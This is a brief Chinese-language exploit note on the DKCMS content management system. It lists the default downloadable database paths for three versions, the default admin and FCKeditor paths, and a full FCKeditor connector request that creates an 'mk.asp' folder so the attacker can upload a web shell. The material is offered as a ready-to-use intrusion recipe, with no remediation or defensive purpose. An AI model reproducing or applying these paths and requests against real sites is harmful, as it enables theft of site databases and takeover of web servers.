动科(dkcms)漏洞

官方网站：www.dkcms.com
 
主要是差不多3个版本为主吧，
 
V2.0   data/dkcm_ssdfhwejkfs.mdb
 
V3.1   _data/___dkcms_30_free.mdb
 
V4.2   _data/I^(()UU()H.mdb
 
 
默认后台：admin
 
编辑器：admin/fckeditor
 
由此可见，官方安全意识挺差的，至于后台拿shell，fck编辑器突破可拿shell
 
建立asp文件夹
 
Fck的路径：Admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/mk.asp&NewFolderName=mk.asp